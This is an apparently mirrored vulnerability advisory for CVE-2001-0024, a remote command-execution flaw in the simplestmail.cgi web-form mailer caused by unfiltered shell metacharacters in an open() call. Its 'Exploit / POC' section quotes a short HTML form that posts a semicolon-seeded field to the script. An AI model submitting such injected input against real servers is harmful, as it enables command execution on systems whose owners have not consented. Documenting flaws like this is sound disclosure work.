Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

BID:2102

Info

Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

Bugtraq ID: 2102
Class: Input Validation Error
CVE: CVE-2001-0024
Remote: Yes
Local: Yes
Published: Dec 11 2000 12:00AM
Updated: Jul 11 2009 04:46AM
Credit: reported to bugtraq by rpc rpc <[email protected]> on Dec 11 2000
Vulnerable: Leif M. Wright simplestmail.cgi 1.0
Not Vulnerable:

Discussion

Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

A vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.

An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver.

Exploit / POC

Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

Excerpted from the original bugtraq post by rpc:

&lt;html&gt;
&lt;form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST&gt;
Command: &lt;input type=text name=MyEmail value=";"&gt;
&lt;input type=hidden name=redirect value="http://goatse.cx"&gt;
&lt;input type=submit name=submit value="run"&gt;
&lt;/form&gt;
&lt;/html&gt;

Solution / Fix

Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Leif M. Wright simplestmail.cgi Remote Command Execution Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report